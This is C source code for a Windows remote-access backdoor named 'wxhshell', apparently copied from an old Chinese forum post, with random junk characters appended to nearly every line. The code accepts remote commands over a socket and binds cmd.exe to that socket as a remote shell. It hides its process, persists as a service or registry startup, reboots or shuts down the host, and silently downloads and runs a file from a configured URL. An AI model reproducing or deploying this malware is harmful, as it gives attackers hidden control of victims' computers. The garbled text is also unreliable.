  xFyMg&  
  // 帮助 !q7M+j4  
  case '?': { #2cH.`ty  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;>Z#1~8  
    break; >n` OLHg;  
  } [a+?z6qI\}  
  // 安装 j- A S {w  
  case 'i': { b*p,s9k7  
    if(Install()) av`b8cGg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zb;2xTH+  
    else ;q$<]X_S)}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6] <?+#uQ  
    break; J'B;  
    } I s8|  
  // 卸载 \&e+f#!u  
  case 'r': { HkrNh>^=  
    if(Uninstall()) c/g(=F__[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y`(z_5ClT  
    else *w@>zkBl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E]ZM`bex&  
    break; G&3j/5V  
    } 4["}U1sG  
  // 显示 wxhshell 所在路径 0udE\/4!^  
  case 'p': { TOBAh.1  
    char svExeFile[MAX_PATH]; kdW i!Hp  
    strcpy(svExeFile,"\n\r"); 4|Y0 $(6o  
      strcat(svExeFile,ExeFile); ?V7[,I1?  
        send(wsh,svExeFile,strlen(svExeFile),0); +mF}j=k  
    break; R[_7ab]A  
    } T /] ayc:  
  // 重启 '{7A1yJnY%  
  case 'b': { kg !@i7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +<3tv&"  
    if(Boot(REBOOT)) ]B5\S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O+'Pq,hn  
    else { HP?e?3.T  
    closesocket(wsh); A:p0p^*  
    ExitThread(0); VQ}=7oe%q  
    } Z2 t0l%  
    break; F92n)*[  
    } q<;9!2py  
  // 关机 ly^F?.e-  
  case 'd': { yGN<.IP75  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "CZ`hx1|^  
    if(Boot(SHUTDOWN)) `ZNjA},.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pwu5Fxn)  
    else { g5T~%t5lo  
    closesocket(wsh); u6%56 %^f  
    ExitThread(0); 5Impv3qaZ  
    } u |f h!-  
    break; !Noabt  
    } 8fDnDA.e  
  // 获取shell Dnd  
  case 's': { s"sX# l[J  
    CmdShell(wsh); g@1MIm c'!  
    closesocket(wsh); sAnH\AFm  
    ExitThread(0); 3mBr nq]j>  
    break; q=R=z$yr  
  } :b.#h7Qt<  
  // 退出 <p<gx*%  
  case 'x': { z?yADYr9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G=b`w;oL:  
    CloseIt(wsh); %K%8 ~B  
    break; \k g2pF[V  
    } QDgOprha  
  // 离开 _`;6'}]s  
  case 'q': { QY{f=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b[u_r,b  
    closesocket(wsh); =-vk}O0C  
    WSACleanup(); Ky$ <WZs  
    exit(1); #}B~V3UD  
    break; N>gv!z[E  
        } \!631FcQ   
  } ;JAe=wt^'I  
  } yyiZV\ /  
778L[wYe  
  // 提示信息 5))?,YkrrI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fd ]! 7  
} `T~M:\^D  
  } nkG 6.  
t(ZiQ<A  
  return; D6v0n6w  
} n JLr]`_  
P~]BB.tog  
// shell模块句柄 ~(yh0V  
int CmdShell(SOCKET sock) @YT=-  
{ %VwB ?  
STARTUPINFO si; 6}|/~n  
ZeroMemory(&si,sizeof(si)); r3iNfY b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; blS*HKw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `;i| %$TU  
PROCESS_INFORMATION ProcessInfo; K` U\+AE  
char cmdline[]="cmd"; 1{u;-pg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qOk4qbl[  
  return 0; wN*e6dOF  
} N5~g:([k  
M g;;o  
// 自身启动模式 R;,&CQUl  
int StartFromService(void) rl6vt*g  
{ VT+GmS  
typedef struct i{ %~&!  
{ f\|33)k  
  DWORD ExitStatus; GR|Vwxs<@P  
  DWORD PebBaseAddress; p 6jR,m8S  
  DWORD AffinityMask; i:W oT4  
  DWORD BasePriority; YF."D%?  
  ULONG UniqueProcessId; K=!J=R;  
  ULONG InheritedFromUniqueProcessId; G\Sd!'?p  
}   PROCESS_BASIC_INFORMATION; |e+I5  
46$u}"E  
PROCNTQSIP NtQueryInformationProcess; aY"qEH7]  
y0rT=kU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9l(e:_`_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D./e|i?  
FUHa"$Bg  
  HANDLE             hProcess; 6,oi(RAf  
  PROCESS_BASIC_INFORMATION pbi; a2x2N_\=/D  
*rW]HNz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s7&% _!4  
  if(NULL == hInst ) return 0; u8o!ncy  
@$t Qz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 85nUR [)h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F\>`j   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i8A5m@,G  
^t#]E#  
  if (!NtQueryInformationProcess) return 0; _}Z*%sT  
PhW#=S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 17nWrTxR$  
  if(!hProcess) return 0; I80.|KIv  
|F6C&GNYT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OPKm^}  
)zr/9aV  
  CloseHandle(hProcess); UpB7hA  
,=K!Y TeVl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W.H_G.C%  
if(hProcess==NULL) return 0; YBg\L$| n  
^hZwm8G  
HMODULE hMod; KWXJ[#E<W  
char procName[255]; Tk+\Biq   
unsigned long cbNeeded; ,g^Bu {?  
[0_Kz"|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =.tsz.:c  
9}3W0F;  
  CloseHandle(hProcess); /$ L;m  
1!=$3]l0Lj  
if(strstr(procName,"services")) return 1; // 以服务启动 'v\!}6  
6G1Z"9<2*  
  return 0; // 注册表启动 'OJXllGi  
} pz-`Tp w  
6 *Q5.g  
// 主模块 tF`>.=  
int StartWxhshell(LPSTR lpCmdLine) tT'd]  
{ }V9146  
  SOCKET wsl; kv)LH{  
BOOL val=TRUE; S,Oy}Nv  
  int port=0; l65'EO|  
  struct sockaddr_in door; ]4hXK!^Uu  
,[~Ydth  
  if(wscfg.ws_autoins) Install(); to,=Q8 )0  
[i&z_e)  
port=atoi(lpCmdLine); BPi>SI0  
cL=P((<K?  
if(port<=0) port=wscfg.ws_port; RV&2y=eb  
G#l zB`i  
  WSADATA data; 9:@os0^O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |5g*pXu{  
  I]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d(fgv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TcRnjsY$  
  door.sin_family = AF_INET; L{(r@Vu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #=$4U!yL  
  door.sin_port = htons(port); a^sR?.+3  
F3wRHq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4e*0kItC  
closesocket(wsl); f+/^1~^  
return 1; 6bqJM#y@  
} 21cIWvy  
mM}|x~\R  
  if(listen(wsl,2) == INVALID_SOCKET) { h8S%Q|-  
closesocket(wsl); b^A&K@[W#,  
return 1; o AQ92~b  
} 0.+iVOz+Y  
  Wxhshell(wsl); /=Xen mmS  
  WSACleanup(); +mxsjcq0  
6W#+U<  
return 0; R o%S_!  
+>I4@1qC-|  
} rJNf&x%6  
GWP"i77y0s  
// 以NT服务方式启动 kZn!]TseN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (EohxLl!p  
{ dQizM^j  
DWORD   status = 0;  H) (K  
  DWORD   specificError = 0xfffffff; pX*mX]  
d2(eX\56Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )bcMKZ   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |,yS>kjp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IkkJ4G  
  serviceStatus.dwWin32ExitCode     = 0; blp)a  
  serviceStatus.dwServiceSpecificExitCode = 0; Xi0/Wb h\  
  serviceStatus.dwCheckPoint       = 0; XK&#K? M  
  serviceStatus.dwWaitHint       = 0; EA8(_}  
Ye )(9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mexI }  
  if (hServiceStatusHandle==0) return; h]'fX  
uCUBs(iD  
status = GetLastError(); _$Fi]l!f  
  if (status!=NO_ERROR) [;X YT  
{ ~I'Z=Wo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xds"n5  
    serviceStatus.dwCheckPoint       = 0; r2xlcSn%  
    serviceStatus.dwWaitHint       = 0; qi/%&)GZ  
    serviceStatus.dwWin32ExitCode     = status; $G=\i>R.  
    serviceStatus.dwServiceSpecificExitCode = specificError; _abVX#5<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xr6Q5/p1  
    return; v}cm-_*v  
  } iP_rEi*-J  
*w%;$\^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4&&j7$aV  
  serviceStatus.dwCheckPoint       = 0; OB"QWdh  
  serviceStatus.dwWaitHint       = 0; 2QBtwlQ?[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +ckj]yA;  
} .b]oB_  
bz>#}P=58G  
// 处理NT服务事件,比如:启动、停止 4/d#)6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7l:H~"9r  
{ DPe`C%Oc1  
switch(fdwControl) >U) ,^H(  
{ j5ui  
case SERVICE_CONTROL_STOP: n_c0=YH  
  serviceStatus.dwWin32ExitCode = 0; Lnj5EY er  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GZ4{<QG  
  serviceStatus.dwCheckPoint   = 0; b UWtlg  
  serviceStatus.dwWaitHint     = 0; MD1,KH+O  
  { *tP,Ol  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JLG5`{  
  } e`_3= kI  
  return; 16aaIK  
case SERVICE_CONTROL_PAUSE: .y'OoDe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K}$PIW  
  break; j}ruXg  
case SERVICE_CONTROL_CONTINUE: vhUuf+P*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (d!vm\-PH  
  break; Ads^y`b  
case SERVICE_CONTROL_INTERROGATE: Bq2}nDP  
  break; LLU>c]a  
}; d3 N %V.w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5aWKyXBIx  
} 8zY)0  
=]Ek12.  
// 标准应用程序主函数 q$HBPR4h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Rd#,Tl\  
{ i>w>UA*t  
oiR` \uY  
// 获取操作系统版本 v=W%|iZ  
OsIsNt=GetOsVer(); s ^}V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1yKf=LZ^  
 x'  
  // 从命令行安装 eM~i (]PY  
  if(strpbrk(lpCmdLine,"iI")) Install(); /Pf7=P  
^^?ECnpcU  
  // 下载执行文件 979L]H#  
if(wscfg.ws_downexe) { e%f8|3<6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B j*X_m  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q2#)Jx\6!  
} o@>5[2b4  
CiMN J  
if(!OsIsNt) { y\%4Dir  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z`:V~8=l  
HideProc(); :)MZgW  
StartWxhshell(lpCmdLine); A&t}s #3  
} ph|3M<q6  
else ) .]Z}g&  
  if(StartFromService()) 4mPg; n  
  // 以服务方式启动 */S ,CV  
  StartServiceCtrlDispatcher(DispatchTable); Yhx~5p  
else MQ,2v. vZ.  
  // 普通方式启动 wDSU~\  
  StartWxhshell(lpCmdLine); p<J/J.E  
"fmJ;W;#1  
return 0; ?c43cYb  
}
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只看该作者 1 发表于: 2006-10-10
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